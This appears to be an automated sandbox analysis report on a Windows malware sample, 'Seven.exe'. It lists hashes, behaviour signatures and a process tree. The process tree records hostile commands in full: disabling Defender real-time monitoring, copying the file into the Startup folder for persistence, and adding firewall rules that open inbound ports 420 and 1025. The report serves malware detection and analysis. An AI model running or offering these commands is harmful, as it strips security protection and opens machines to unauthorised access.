Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/04/2024, 19:30

General

  • Target

    Seven.exe

  • Size

    139KB

  • MD5

    350273e0d2e8a9ba5e37b791016112a0

  • SHA1

    5bfb616dd46f67d1dcbbff55ca5917ffc1ec8b71

  • SHA256

    27297bf8139bea755e9297e7e1489d827d1ee09a8e1d94a3ef96a2edb2de61ba

  • SHA512

    b1e768524b4e840bd5f4163205122dd1725583245d8bfd5cbd89eb21a5fb9d33aff1b7b0ca42132b7dae469e025068ae663b3b02ad59927a558dc340141ec91b

  • SSDEEP

    3072:miS4omp03WQthI/9S3BZi08iRQ1G78IVn27bSfcJd8ltw:miS4ompB9S3BZi0a1G78IVhcTct

Score
8/10

Malware Config

Signatures

  • Modifies Windows Firewall 2 TTPs 3 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Seven.exe
    "C:\Users\Admin\AppData\Local\Temp\Seven.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ExecutionPolicy Bypass -Command "Copy-Item -Path '' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; if ($?) { 'Success' } else { 'Failure' }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ExecutionPolicy Bypass -Command "Copy-Item -Path '' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; if ($?) { 'Success' } else { 'Failure' }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ExecutionPolicy Bypass -Command "Copy-Item -Path '' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; if ($?) { 'Success' } else { 'Failure' }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3056
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c netsh advfirewall firewall add rule name="Open Port 420" dir=in action=allow protocol=TCP localport=420
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3300
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Open Port 420" dir=in action=allow protocol=TCP localport=420
        3⤵
        • Modifies Windows Firewall
        PID:4628
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c netsh advfirewall firewall show rule name="Open Port 420"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4816
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall show rule name="Open Port 420"
        3⤵
        • Modifies Windows Firewall
        PID:1940
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c netsh advfirewall firewall add rule name="Open Port 1025" dir=in action=allow protocol=TCP localport=1025
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\system32\netsh.exe
        netsh advfirewall firewall add rule name="Open Port 1025" dir=in action=allow protocol=TCP localport=1025
        3⤵
        • Modifies Windows Firewall
        PID:3044

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    88be3bc8a7f90e3953298c0fdbec4d72

    SHA1

    f4969784ad421cc80ef45608727aacd0f6bf2e4b

    SHA256

    533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

    SHA512

    4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    32aba9fc1f9be72d6cec0c940a447e7d

    SHA1

    e7592845595240ce5b9fb7446ef662a07d776dbb

    SHA256

    9780e7a93d5d6ab92e2d0c24a613d978bdedd8acab2a7e7bd383121adefd4f9b

    SHA512

    a9c81be11554941af0b08129302bd77ba131e04e88b983c9203f9f7a26bfc1b102b75bc19a95ae68beb0da0dbcbbac681ad53b79f274af35af28dbb10dfa1a9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0spkcxws.tjw.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/536-17-0x0000015DED370000-0x0000015DED380000-memory.dmp

    Filesize

    64KB

  • memory/536-18-0x0000015DED370000-0x0000015DED380000-memory.dmp

    Filesize

    64KB

  • memory/536-28-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB

  • memory/536-32-0x0000015DED370000-0x0000015DED380000-memory.dmp

    Filesize

    64KB

  • memory/536-36-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB

  • memory/2396-4-0x0000017A58A20000-0x0000017A58A42000-memory.dmp

    Filesize

    136KB

  • memory/2396-31-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB

  • memory/2396-15-0x0000017A58A90000-0x0000017A58AA0000-memory.dmp

    Filesize

    64KB

  • memory/2396-16-0x0000017A58A90000-0x0000017A58AA0000-memory.dmp

    Filesize

    64KB

  • memory/2396-14-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB

  • memory/3056-52-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB

  • memory/3056-53-0x000001613C6E0000-0x000001613C6F0000-memory.dmp

    Filesize

    64KB

  • memory/3056-54-0x000001613C6E0000-0x000001613C6F0000-memory.dmp

    Filesize

    64KB

  • memory/3056-65-0x000001613C6E0000-0x000001613C6F0000-memory.dmp

    Filesize

    64KB

  • memory/3056-67-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB

  • memory/3848-49-0x0000023EFB3E0000-0x0000023EFB3F0000-memory.dmp

    Filesize

    64KB

  • memory/3848-51-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB

  • memory/3848-48-0x0000023EFB3E0000-0x0000023EFB3F0000-memory.dmp

    Filesize

    64KB

  • memory/3848-46-0x00007FFD85860000-0x00007FFD86321000-memory.dmp

    Filesize

    10.8MB